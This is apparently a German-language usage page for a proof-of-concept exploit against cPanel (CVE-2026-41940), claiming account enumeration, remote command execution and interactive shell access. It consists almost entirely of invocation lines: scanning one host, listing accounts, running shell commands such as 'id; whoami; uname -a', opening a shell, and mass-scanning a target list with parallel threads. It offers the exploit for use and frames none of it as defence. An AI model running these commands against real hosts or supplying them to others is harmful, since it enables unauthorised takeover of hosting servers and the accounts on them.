
Proof-of-Concept-Exploit für CVE-2026-41940, der auf cPanel abzielt und Kontenumeration, Befehlsausführung sowie interaktiven Shell-Zugriff auf verwundbare Hosts ermöglicht.
python3 poc_CVE-2026-41940.py -h
Einen Host scannen
python3 poc_CVE-2026-41940.py -u https://target.example:2086
Konten nach erfolgreicher Kette auflisten
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action list
Einen Shell-Befehl ausführen
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action cmd --cmd 'id; whoami; uname -a'
Interaktive Shell
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action shell
Ziele aus Datei + JSON-Bericht
python3 poc_CVE-2026-41940.py -l targets.txt -t 20 -o results.json
ref : ynsmroztas